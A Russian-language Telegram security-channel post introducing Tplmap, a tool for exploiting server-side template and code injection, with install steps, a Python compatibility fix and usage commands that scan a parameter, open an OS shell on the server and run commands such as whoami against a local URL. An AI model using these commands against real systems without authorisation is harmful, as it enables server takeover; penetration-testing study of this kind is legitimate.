tgoop.com/codeby_sec/8811
Create:
Last Update:
Last Update:
Tplmap
Tplmap – помогает эксплуатировать уязвимости внедрения кода и внедрения шаблона на стороне сервера с помощью ряда методов выхода из песочницы для получения доступа к базовой операционной системе. Методы выхода из песочницы взяты из Server-Side Template Injection: RCE For The Modern Web App Джеймса Кетта, других публичных исследований и оригинальных вкладов в этот инструмент.
Он может эксплуатировать несколько сценариев контекста кода и слепого внедрения. Он также поддерживает внедрение кода типа eval() в Python, Ruby, PHP, Java и универсальные неизолированные шаблонизаторы.
git clone https://github.com/epinna/tplmap.git
python3 tplmap.py
При первом запуске вам высветиться ошибка:
Exiting: module 'collections' has no attribute 'Mapping'
Но решается она довольно просто, мы идём в файл
core/plugin.py
В это файле вставляем такие чёрные строки (в список библиотек):
from collections.abc import Mapping
import collections.abc
и на 23 и 24 строках такой код:
if isinstance(d, collections.abc.Mapping):
if isinstance(v,collections.abc.Mapping):
Готово!
Теперь рассмотрим ключи и как программа работает:
Обычное сканирование на уязвимость параметра к SSTI:
python3 tplmap.py -u 'http://127.0.0.1:80/page?name=John'
Получить доступ к шеллу на сервере:
python3 tplmap.py --os-shell -u 'http://127.0.0.1:80/page?name=John'
Выполнить команду сразу и получить вывод:
python3 tplmap.py --os-cmd=whoami -u 'http://127.0.0.1:80/page?name=John'